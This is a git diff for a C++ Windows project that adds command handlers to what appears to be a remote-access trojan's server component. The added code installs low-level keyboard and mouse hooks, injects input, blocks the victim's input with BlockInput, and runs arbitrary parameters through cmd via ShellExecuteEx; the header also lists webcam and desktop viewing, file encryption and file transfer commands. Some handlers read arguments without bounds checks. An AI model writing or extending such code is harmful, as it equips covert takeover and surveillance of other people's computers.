diff --git a/VS17/Server/Server.vcxproj b/VS17/Server/Server.vcxproj index 4c2f5cf..b2f2a99 100644 --- a/VS17/Server/Server.vcxproj +++ b/VS17/Server/Server.vcxproj @@ -165,6 +165,7 @@ + diff --git a/VS17/Server/Server.vcxproj.filters b/VS17/Server/Server.vcxproj.filters index eea0f01..b739d9f 100644 --- a/VS17/Server/Server.vcxproj.filters +++ b/VS17/Server/Server.vcxproj.filters @@ -75,6 +75,9 @@ Header Files\Network + + Header Files\Commands + diff --git a/src/Server/CommandProperties.cpp b/src/Server/CommandProperties.cpp index 5b7921a..278e325 100644 --- a/src/Server/CommandProperties.cpp +++ b/src/Server/CommandProperties.cpp @@ -4,10 +4,85 @@ const std::array(Commands::NUMBER_OF_COMMANDS)> COMMAND_PROPERTIES { { - { std::make_tuple(Commands::MESSAGEBOX, "message"), _onCmd_MESSAGEBOX }, - { std::make_tuple(Commands::MOUSECTRL, "mouse"), _onCmd_MOUSECTRL } + { std::make_tuple(Commands::MESSAGEBOX, "message"), _onCmd_MESSAGEBOX }, + { std::make_tuple(Commands::KEYBOARDCTRL_ON, "kbon"), _onCmd_KEYBOARDCTRL_ON }, + { std::make_tuple(Commands::KEYBOARDCTRL_OFF, "kboff"), _onCmd_KEYBOARDCTRL_OFF }, + { std::make_tuple(Commands::MOUSECTRL_ON, "mon"), _onCmd_MOUSECTRL_ON }, + { std::make_tuple(Commands::MOUSECTRL_OFF, "moff"), _onCmd_MOUSECTRL_OFF }, + { std::make_tuple(Commands::EXECUTECMD, "cmd"), _onCmd_EXECUTECMD }, + { std::make_tuple(Commands::BLOCKINPUT_ON, "bion"), _onCmd_BLOCKINPUT_ON }, + { std::make_tuple(Commands::BLOCKINPUT_OFF, "bioff"), _onCmd_BLOCKINPUT_OFF } } }; +namespace detail +{ + namespace hooks + { + namespace data + { + static HHOOK mouseHook; + static HHOOK keyboardHook; + } + + LRESULT CALLBACK LowLevelMouseProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam) + { + if (nCode == HC_ACTION) + return (-1); + + return CallNextHookEx(data::mouseHook, nCode, wParam, lParam); + } + + LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam) + { + if (nCode == HC_ACTION) + return (-1); + + return CallNextHookEx(data::keyboardHook, nCode, wParam, lParam); + } + } // namespace hooks + + namespace emulator + { + constexpr size_t DELAY = 100; + + bool SendMouseInput(DWORD button) + { + INPUT input = { INPUT_MOUSE }; + input.mi.dwFlags = button; + + if (SendInput(1, &input, sizeof(INPUT)) != 1) + return false; + + SleepEx(DELAY, FALSE); + + input.mi.dwFlags = (button <<= 1); + if (SendInput(1, &input, sizeof(INPUT)) != 1) + return false; + + return true; + } + + bool SendKeyboardInput(UINT key) + { + INPUT input = { INPUT_KEYBOARD }; + input.ki.wScan = MapVirtualKey(key, MAPVK_VK_TO_VSC); + input.ki.wVk = key; + + if (SendInput(1, &input, sizeof(INPUT)) != 1) + return false; + + SleepEx(DELAY, FALSE); + + input.ki.dwFlags = KEYEVENTF_KEYUP; + if (SendInput(1, &input, sizeof(INPUT)) != 1) + return false; + + return true; + } + } // namespace emulator +} // namespace detail +#pragma region Functions + bool _onCmd_MESSAGEBOX(const std::vector &args) { if(args.size() != 1ull) @@ -16,14 +91,65 @@ bool _onCmd_MESSAGEBOX(const std::vector &args) return (MessageBoxA(nullptr, args[0].c_str(), "MESSAGE", MB_ICONERROR | MB_OK | MB_SYSTEMMODAL) != 0); } -bool _onCmd_MOUSECTRL(const std::vector &args) +bool _onCmd_KEYBOARDCTRL_ON(const std::vector &args) { - if (args.size() != 1ull) - return false; + if (!detail::hooks::data::keyboardHook) + detail::hooks::data::keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, detail::hooks::LowLevelKeyboardProc, nullptr, 0ul); + + if (UINT key{}; sscanf_s(args[0].c_str(), "%u", &key)) + return detail::emulator::SendKeyboardInput(key); - int x{}, - y{}; - sscanf_s(args[0].c_str(), "%d %d", &x, &y); + return true; +} + +bool _onCmd_KEYBOARDCTRL_OFF(const std::vector&) +{ + return UnhookWindowsHookEx(detail::hooks::data::keyboardHook);; +} + +bool _onCmd_MOUSECTRL_ON(const std::vector &args) +{ + if(!detail::hooks::data::mouseHook) + detail::hooks::data::mouseHook = SetWindowsHookEx(WH_MOUSE_LL, detail::hooks::LowLevelMouseProc, nullptr, 0ul); + + int x{}, + y{}; + DWORD button{}; + if (sscanf_s(args[0].c_str(), "%d %d %u", &x, &y, &button) == 3 && !detail::emulator::SendMouseInput(button)) + return false; return SetCursorPos(x, y); } + +bool _onCmd_MOUSECTRL_OFF(const std::vector&) +{ + return UnhookWindowsHookEx(detail::hooks::data::mouseHook); +} + +bool _onCmd_EXECUTECMD(const std::vector &args) +{ + std::string params; + for (auto &&arg : args) + params += arg; + + SHELLEXECUTEINFO sei = { sizeof(SHELLEXECUTEINFO) }; + sei.fMask = SEE_MASK_ASYNCOK | SEE_MASK_NO_CONSOLE; + sei.lpVerb = TEXT("open"); + sei.lpFile = TEXT("cmd"); + sei.lpParameters = params.c_str(); + sei.nShow = SW_SHOW; + + return ShellExecuteEx(&sei); +} + +bool _onCmd_BLOCKINPUT_ON(const std::vector&) +{ + return BlockInput(true); +} + +bool _onCmd_BLOCKINPUT_OFF(const std::vector&) +{ + return BlockInput(false); +} + +#pragma endregion \ No newline at end of file diff --git a/src/Server/CommandProperties.hpp b/src/Server/CommandProperties.hpp index d7e65d0..0fb7a22 100644 --- a/src/Server/CommandProperties.hpp +++ b/src/Server/CommandProperties.hpp @@ -12,15 +12,19 @@ enum class Commands : size_t VIEWDESKTOP_STOP, VIEWWEBCAM_START, VIEWWEBCAM_STOP, - KEYBOARDCTRL, - MOUSECTRL, + KEYBOARDCTRL_ON, + KEYBOARDCTRL_OFF, + MOUSECTRL_ON, + MOUSECTRL_OFF, EXECUTECMD, ENCRYPTFILE, DECRYPTFILE, IMPORTFILE, EXPORTFILE, - BLOCKINPUT, - PLAYSOUND, + BLOCKINPUT_ON, + BLOCKINPUT_OFF, + PLAYSOUND_START, + PLAYSOUND_STOP, NUMBER_OF_COMMANDS }; @@ -55,14 +59,17 @@ void _onCmd_VIEWDESKTOP_START(const std::vector &args, const std::b void _onCmd_VIEWDESKTOP_STOP (const std::vector &args, const std::bitset &bitset, size_t pos); void _onCmd_VIEWWEBCAM_START (const std::vector &args, const std::bitset &bitset, size_t pos); void _onCmd_VIEWWEBCAM_STOP (const std::vector &args, const std::bitset &bitset, size_t pos); -void _onCmd_KEYBOARDCTRL (const std::vector &args, const std::bitset &bitset, size_t pos); -bool _onCmd_MOUSECTRL (const std::vector &args); +bool _onCmd_KEYBOARDCTRL_ON (const std::vector &args); +bool _onCmd_KEYBOARDCTRL_OFF (const std::vector&); +bool _onCmd_MOUSECTRL_ON (const std::vector &args); +bool _onCmd_MOUSECTRL_OFF (const std::vector&); bool _onCmd_EXECUTECMD (const std::vector &args); bool _onCmd_ENCRYPTFILE (const std::vector &args); bool _onCmd_DECRYPTFILE (const std::vector &args); bool _onCmd_IMPORTFILE (const std::vector &args); bool _onCmd_EXPORTFILE (const std::vector &args); -bool _onCmd_BLOCKINPUT (const std::vector &args); +bool _onCmd_BLOCKINPUT_ON (const std::vector&); +bool _onCmd_BLOCKINPUT_OFF (const std::vector&); bool _onCmd_PLAYSOUND (const std::vector &args); #endif /* __COMMANDPROPERTIES_HPP_INCLUDED__ */ \ No newline at end of file